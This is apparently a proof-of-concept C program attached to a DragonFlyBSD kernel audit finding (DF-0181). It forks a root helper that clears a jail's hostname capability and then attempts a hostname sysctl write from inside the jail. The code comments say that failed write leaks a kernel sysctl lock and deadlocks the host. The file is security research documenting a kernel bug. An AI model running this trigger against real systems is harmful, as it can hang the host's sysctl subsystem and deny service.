DragonFlyBSD Kernel Audit
DF-0181 / df0181_trigger.c
← back to finding ↓ download raw
/* DF-0181 — single-process driver.
 *
 *  1. fork helper H (host root) — waits for JID via pipe,
 *     then probes host sysctl with 5 s SIGALRM and reports.
 *  2. parent: jail(2) attaches parent to new jail.
 *  3. parent: writes JID to pipe so helper can clear the cap.
 *  4. parent: sleeps briefly while helper clears cap.
 *  5. parent: sysctlbyname("kern.hostname", ..., "evil") -> EPERM.
 *     THIS is where the XLOCK is leaked (kern_mib.c:226).
 *  6. parent: signals helper to probe (or helper just waits).
 *  7. helper: tries sysctl read; if it blocks past 5 s alarm,
 *     XLOCK is leaked -> bug confirmed.
 */

#include <sys/param.h>
#include <sys/jail.h>
#include <sys/sysctl.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <setjmp.h>

static sig_atomic_t got_alarm;
static void on_alarm(int s){ got_alarm = 1; }

static int
helper_run(int in_fd)
{
    char buf[32];
    int n = read(in_fd, buf, sizeof buf - 1);
    if (n <= 0) { perror("helper read"); _exit(2); }
    buf[n] = 0;
    int jid = atoi(buf);

    /* Clear the cap from outside the jail. */
    char name[64];
    snprintf(name, sizeof name, "jail.%d.sys_set_hostname", jid);
    int zero = 0;
    int rc = sysctlbyname(name, NULL, NULL, &zero, sizeof zero);
    if (rc != 0) {
        printf("DF-0181[helper]: cannot clear %s: %s\n", name, strerror(errno));
        _exit(2);
    }
    int rb = -1; size_t rblen = sizeof rb;
    sysctlbyname(name, &rb, &rblen, NULL, 0);
    printf("DF-0181[helper]: cleared %s (readback=%d)\n", name, rb);
    fflush(stdout);

    /* Wait for parent to fire the trigger. */
    sleep(3);

    /* Probe: host sysctl read with 5 s SIGALRM.  When XLOCK is
       leaked, the lockmgr LK_SHARED blocks uninterruptibly. */
    printf("DF-0181[helper]: probing host sysctl (5 s alarm)...\n");
    fflush(stdout);
    struct sigaction sa = { .sa_handler = on_alarm };
    sigaction(SIGALRM, &sa, NULL);
    alarm(5);
    int m[2] = { CTL_KERN, KERN_OSRELEASE };
    char obuf[64]; size_t len = sizeof obuf;
    int r = sysctl(m, 2, obuf, &len, NULL, 0);
    alarm(0);
    if (got_alarm) {
        printf("DF-0181[helper]: probe timed out -> SYSCTL_XLOCK LEAKED "
               "(host sysctl subsystem deadlocked)\n");
        _exit(0);
    }
    if (r == 0) {
        printf("DF-0181[helper]: probe OK kern.osrelease=%s -> NOT leaked\n", obuf);
        _exit(1);
    }
    printf("DF-0181[helper]: probe rc=%d errno=%d (%s)\n", r, errno, strerror(errno));
    _exit(1);
}

int
main(void)
{
    /* Baseline timing: prove sysctl works pre-trigger. */
    int mb[2] = { CTL_KERN, KERN_OSRELEASE };
    char bbuf[64]; size_t blen = sizeof bbuf;
    if (sysctl(mb, 2, bbuf, &blen, NULL, 0) != 0) {
        perror("baseline sysctl"); return 2;
    }
    printf("DF-0181: baseline kern.osrelease=%s\n", bbuf);

    int pipefd[2];
    if (pipe(pipefd) != 0) { perror("pipe"); return 2; }

    pid_t h = fork();
    if (h == 0) {
        close(pipefd[1]);
        return helper_run(pipefd[0]);
    }
    close(pipefd[0]);

    /* Parent: jail(2) attaches parent to new jail. */
    struct jail_v0 jv;
    memset(&jv, 0, sizeof jv);
    jv.version  = 0;
    jv.path     = "/";
    jv.hostname = "df0181jail";
    jv.ip_number = ntohl(inet_addr("127.0.0.3"));
    int jid = jail((struct jail *)&jv);
    if (jid < 0) { perror("jail"); write(pipefd[1], "0\n", 2); return 2; }
    printf("DF-0181[jail]: jail() jid=%d (parent now jailed)\n", jid);
    fflush(stdout);

    /* Tell helper our JID. */
    {
        char num[16]; int n = snprintf(num, sizeof num, "%d\n", jid);
        write(pipefd[1], num, n);
    }
    /* Helper will clear the cap. */
    sleep(2);

    /* Fire the trigger from inside the jail. */
    int mh[2] = { CTL_KERN, KERN_HOSTNAME };
    char *newhost = "evil";
    int r = sysctl(mh, 2, NULL, NULL, newhost, strlen(newhost) + 1);
    int e = errno;
    printf("DF-0181[trigger]: sysctl -w kern.hostname=%s rc=%d errno=%d (%s)\n",
           newhost, r, e, strerror(e));
    fflush(stdout);

    /* Give helper time to finish its probe. */
    sleep(10);

    int status;
    pid_t w = waitpid(h, &status, WNOHANG);
    if (w == 0) {
        printf("DF-0181: helper still running -- XLOCK LEAKED (bug confirmed)\n");
    } else if (WIFEXITED(status)) {
        int code = WEXITSTATUS(status);
        if (code == 0)
            printf("DF-0181: helper exited rc=0 -> XLOCK LEAKED (bug confirmed)\n");
        else
            printf("DF-0181: helper exited rc=%d -> lock NOT leaked\n", code);
    } else if (WIFSIGNALED(status)) {
        printf("DF-0181: helper signalled %d -> see above\n", WTERMSIG(status));
    }
    return 0;
}